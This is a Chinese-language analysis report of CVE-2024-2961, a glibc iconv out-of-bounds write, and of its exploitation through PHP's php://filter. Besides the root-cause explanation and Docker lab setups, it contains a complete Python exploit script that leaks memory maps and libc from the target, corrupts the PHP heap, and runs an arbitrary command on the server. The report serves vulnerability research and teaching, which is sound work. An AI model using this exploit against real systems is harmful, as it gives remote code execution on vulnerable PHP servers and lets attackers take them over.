# CVE-2024-2961 分析報告 ## Overview CVE-2024-2961 是一個發生在 GNU C Library(glibc)中 iconv() 函式的記憶體破壞漏洞。該漏洞源於編碼轉換模組 iconvdata/iso-2022-cn-ext.c,在處理特定中文字符(如「劄」「䂚」)並轉換為 ISO-2022-CN-EXT 編碼時,未正確檢查輸出 buffer 大小,導致會有 1–3 bytes 的 Out-of-Bounds (OOB) Write。 由於 iconv 常被用於 PHP,因此該漏洞可以與 php://filter/convert.iconv.* 結合,造成 Overflow,進而實現 leak、甚至達成 RCE。 ## Affected Versions - glibc iconv:支援 ISO-2022-CN-EXT 的版本 - PHP:多數版本(含 PHP 7.x, 8.x) - 框架與系統:例如某些 Wordpress Plugin、PHP 7.0 的 Symfony 4.x 等,符合下列條件: - 有 file_get_contents($_GET['file']) 類似行為 - 可以透過 php://filter 執行 filter-chain ## Root Cause Analysis ### ISO-2022-CN-EXT 漏洞 - 由多個子字符集組成,專門用於轉換中文字,是 ISO-2022-CN 的擴充,可以做大量中文字元轉換 - 流程:需要編碼→發出轉義序列 (escape sequence) 告知需切換至哪個字符集 - 在處理 escape sequence 時僅在部分路徑做 buffer boundary 檢查 [source code](https://github.com/bminor/glibc/blob/59974938fe1f4add843f5325f78e2a7ccd8db853/iconvdata/iso-2022-cn-ext.c#L550) 可以發現只有一條路徑有做 overflow 的 check ```c= // iconvdata/iso-2022-cn-ext.c /* See whether we have to emit an escape sequence. */ if (set != used) { /* First see whether we announced that we use this character set. */ if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1] { const char *escseq; if (outptr + 4 > outend) // <-------------------- BOUND CHECK { result = __GCONV_FULL_OUTPUT; break; } assert(used >= 1 && used <= 4); escseq = ")A\0\0)G)E" + (used - 1) * 2; *outptr++ = ESC; *outptr++ = '$'; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SO_ann) | (used << 8); } else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2] { const char *escseq; // <-------------------- NO BOUND CHECK assert(used == CNS11643_2_set); /* XXX */ escseq = "*H"; *outptr++ = ESC; *outptr++ = '$'; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SS2_ann) | (used << 8); } else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3] { const char *escseq; // <-------------------- NO BOUND CHECK assert((used >> 5) >= 3 && (used >> 5) <= 7); escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2; *outptr++ = ESC; *outptr++ = '$'; *outptr++ = *escseq++; *outptr++ = *escseq++; ann = (ann & ~SS3_ann) | (used << 8); } } ``` - 使得當 output buffer 不足,仍可能寫入 escape sequence 而造成 1~3 bytes 的 OOB Write。可觸發的字符包含: - `劄`(U+5284) - `䂚`(U+409A) - `峛`(U+5CDB) - `湿`(U+6E7F) ### 限制 - 只能 overflow 1~3 bytes - 要呼叫到 iconv - 要控得到 ISO-2022-CN-EXT 的 input、output buffer ## Exploitation Path ### 使用 `php://filter` 觸發 iconv 攻擊者可透過以下 filter chain 構造觸發 iconv: ```php= php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=... ``` ### 配合 PHP Heap Layout 操作 PHP Heap 結構特性: - PHP 內建 memory manager 使用 `emalloc/efree` 配合 `zend_mm_heap` - 分配區域為固定 page(0x1000),依照 bin size(如 0x40、0x180)維護對應 freelist - 每個 bin 為 LIFO(後釋放的 chunk 先被回收) - 未使用 chunk 會記錄下一塊 chunk 的指標於 chunk header(可作為 attack vector) - 問題在於每個 HTTP request 都會建立獨立 heap,通常難以維持 exploit 狀態 Exploitation 方式: - 將資料放入 `php_stream_bucket`,構造特定大小的 heap chunk - `dechunk` filter 可將 buflen 調整至小於 heap size(縮減) - 接著透過 `iconv.UTF-8.ISO-2022-CN-EXT` 實現 OOB write,蓋掉 next chunk pointer - 最終達成對 `zend_mm_heap->custom_heap` 中 `_free` function pointer 的覆寫(類似 `__free_hook`) ## PoC ### 環境建置 Dockerfile ```yaml= FROM ubuntu:22.04 ENV TZ=Asia/Taipei RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone RUN apt update && \ DEBIAN_FRONTEND=noninteractive apt install -y --allow-downgrades \ tzdata software-properties-common \ vim gcc g++ make \ ncat gdb wget curl \ nginx php php-cli php-fpm php-mbstring php-xml php-zip php-dev php-common php-cgi \ apt-src dpkg-dev \ libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 \ php-pear php-json php8.1 php8.1-dev php8.1-cli php8.1-fpm php8.1-mbstring php8.1-xml php8.1-zip php8.1-cgi COPY index.php /var/www/html/index.php COPY poc.c /var/www/html/poc.c COPY exp.py /var/www/html/exp.py COPY nginx.conf /etc/nginx/sites-enabled/default COPY start.sh /start.sh RUN chmod +x /start.sh WORKDIR /var/www/html CMD ["/start.sh"] ``` docker-compose.yml ```yaml= version: '3.8' services: cve2961: build: context: . dockerfile: Dockerfile image: cve-2024-2961:v2 container_name: cve-2024-2961-container ports: - "80:80" stdin_open: true tty: true ``` 先透過以下 script 驗證是否會 overflow ```c= #include <stdio.h> #include <string.h> #include <iconv.h> void hexdump(void *ptr, int buflen){ unsigned char *buf = (unsigned char*)ptr; int i; for (i = 0; i < buflen; i++) { if (i % 16 == 0) printf("\n%06x: ", i); printf("%02x ", buf[i]); } printf("\n"); } int main(){ iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8"); char input[0x10] = "AAAAA劄"; char output[0x10] = {0}; char *pinput = input; char *poutput = output; size_t sinput = strlen(input); size_t soutput = sinput; iconv(cd, &pinput, &sinput, &poutput, &soutput); hexdump(output, 0x10); return 0; } ``` ![image](https://hackmd.io/_uploads/Hk-5d1hUxg.png) 可以發現確實 overflow 了一個 byte 後續的 exploit 使用直接建置 php 網頁的方式去做攻擊 Dockerfile ```yaml= FROM php:8.2.0-apache RUN apt-get update && apt-get install -y \ locales \ wget \ gcc \ g++ \ build-essential \ vim \ && rm -rf /var/lib/apt/lists/* RUN echo "zh_TW.UTF-8 UTF-8" > /etc/locale.gen && locale-gen RUN docker-php-ext-install iconv WORKDIR /var/www/html COPY index.php . EXPOSE 80 ``` docker-compose.yml ```yaml= version: '3.8' services: web: build: . ports: - "8080:80" container_name: cve-2024-2961-custom restart: unless-stopped ``` index.php ```php= <?php $data = file_get_contents($_POST['file']); echo "File contents: $data"; ``` exploit.py:參考自 [cnext-exploits](https://github.com/ambionics/cnext-exploits) ```py= from __future__ import annotations import base64, zlib, sys, re from pathlib import Path from requests.exceptions import ConnectionError, ChunkedEncodingError from pwn import * from ten import * heap_size = 2 * 1024 * 1024 vulnerability = "劄".encode("utf-8") session = Session() url = "" command = "" heap = None pad_size = 20 info = {} def send(path, url): return session.post(url, data={"file": path}) def download(path, url): path = f"php://filter/convert.base64-encode/resource={path}" response = send(path, url) data = response.re.search(b"File contents: (.*)", flags=re.S).group(1) return base64.decode(data) def compress(data): return zlib.compress(data, 9)[2:-4] def b64(data, misalign = True): return base64.encode(data).encode() def compressed_bucket(data): return chunked_chunk(data, 0x8000) def qpe(data): return "".join(f"={x:02x}" for x in data).upper().encode() def ptr_bucket(*ptrs, size = None): bucket = b"".join(map(p64, ptrs)) bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = compressed_bucket(bucket) return bucket def chunked_chunk(data, size = None): if size is None: size = len(data) + 8 keep = len(data) + len(b"\n\n") size = f"{len(data):x}".rjust(size - keep, "0") return size.encode() + b"\n" + data + b"\n" def download_file(remote_path, local_path): data = get_file(remote_path) Path(local_path).write_bytes(data) def _get_region(regions, *names): for region in regions: if any(name in region["path"] for name in names): return region return None def find_main_heap(regions): heaps = [] for region in reversed(regions): is_heap_region = ( region["permissions"] == "rw-p" and (region["stop"] - region["start"]) >= heap_size and region["stop"] & (heap_size - 1) == 0 and region["path"] in ("", "[anon:zend_alloc]") ) if is_heap_region: heap_address = region["stop"] - heap_size + 0x40 heaps.append(heap_address) first = heaps[0] print(f"Using {hex(first)} as heap") return first def get_file(path): return download(path, url) def get_regions(): maps = get_file("/proc/self/maps").decode() PATTERN = re.compile( r"^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)" ) regions = [] for line in table.split(maps, strip=True): if match := PATTERN.match(line): start = int(match.group(1), 16) stop = int(match.group(2), 16) permissions = match.group(3) path = match.group(4).rsplit(" ", 1)[-1] if "/" in match.group(4) or "[" in match.group(4) else "" regions.append({ "start": start, "stop": stop, "permissions": permissions, "path": path }) return regions def get_symbols_and_addresses(): regions = get_regions() LIBC_FILE = "/dev/shm/cnext-libc" info["heap"] = heap or find_main_heap(regions) libc = _get_region(regions, "libc-", "libc.so") download_file(libc["path"], LIBC_FILE) info["libc"] = ELF(LIBC_FILE, checksec=False) info["libc"].address = libc["start"] def build_exploit_path(): LIBC = info["libc"] ADDR_EMALLOC = LIBC.symbols["__libc_malloc"] ADDR_EFREE = LIBC.symbols["__libc_system"] ADDR_EREALLOC = LIBC.symbols["__libc_realloc"] ADDR_HEAP = info["heap"] ADDR_FREE_SLOT = ADDR_HEAP + 0x20 ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x168 ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10 CS = 0x100 pad = b"\x00" * (CS - 0x18) pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = compressed_bucket(pad) step1 = b"\x00" * 1 step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, CS) step1 = compressed_bucket(step1) step2 = b"\x00" * (0x48 + 8) step2 = chunked_chunk(step2, CS) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2) step2_write_ptr = b"0\n".ljust(0x48, b"\x00") + p64(ADDR_FAKE_BIN) step2_write_ptr = chunked_chunk(step2_write_ptr, CS) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr) step3 = b"\x00" * CS step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = compressed_bucket(step3) step3_overflow = b"\x00" * (CS - len(vulnerability)) + vulnerability step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow) step4 = b"=00" + b"\x00" * (CS - 1) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = compressed_bucket(step4) step4_pwn = ptr_bucket( 0x200000, 0, 0, 0, ADDR_CUSTOM_HEAP, *([0] * 13), ADDR_HEAP, *([0] * 11), size=CS, ) step4_custom_heap = ptr_bucket(ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18) COMMAND = f"kill -9 $PPID; {command}".encode() + b"\x00" COMMAND = COMMAND.ljust(0x140, b"\x00") step4_use_custom_heap = qpe(COMMAND) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) pages = ( step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * pad_size + step1 * 3 + step2_write_ptr + step2 * 2 ) resource = compress(compress(pages)) resource = b64(resource) resource = f"data:text/plain;base64,{resource.decode()}" filters = [ "zlib.inflate", "zlib.inflate", "dechunk", "convert.iconv.L1.L1", "dechunk", "convert.iconv.L1.L1", "dechunk", "convert.iconv.L1.L1", "dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT", "convert.quoted-printable-decode", "convert.iconv.L1.L1" ] return f"php://filter/read={'|'.join(filters)}/resource={resource}" def exploit(): path = build_exploit_path() try: send(path, url) except (ConnectionError, ChunkedEncodingError): pass def run(): get_symbols_and_addresses() exploit() if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python test_copy.py <url> <command>") sys.exit(1) url = sys.argv[1] command = sys.argv[2] run() ``` ![image](https://hackmd.io/_uploads/rJxEeaCUeg.png)